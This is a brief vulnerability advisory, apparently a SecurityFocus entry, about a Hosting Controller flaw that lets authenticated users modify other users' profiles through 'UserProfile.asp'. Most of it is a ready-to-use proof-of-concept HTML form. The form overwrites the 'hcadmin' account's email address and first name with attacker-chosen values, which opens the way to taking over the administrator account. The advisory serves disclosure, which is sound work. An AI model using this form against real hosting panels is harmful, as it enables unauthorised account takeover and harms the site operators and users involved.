source: https://www.securityfocus.com/bid/13816/info Hosting Controller is prone to an unauthorized access vulnerability. Reportedly an authenticated user can modify other user's profiles. This issue is due to a failure in the application to perform proper authentication before providing access to 'UserProfile.asp'. Change users profiles: <form action="http://www.example.com/admin//accounts/UserProfile.asp?action=updateprofile" method="post"> Username : <input name="UserList" value="hcadmin" type="text" size="50"> <br> emailaddress : <input name="emailaddress" value="Crkchat@msn.com" type="text" size="50"> <br> firstname : <input name="firstname" value="Crkchat" type="text" size="50"> <br> <input name="submit" value="submit" type="submit"> </form>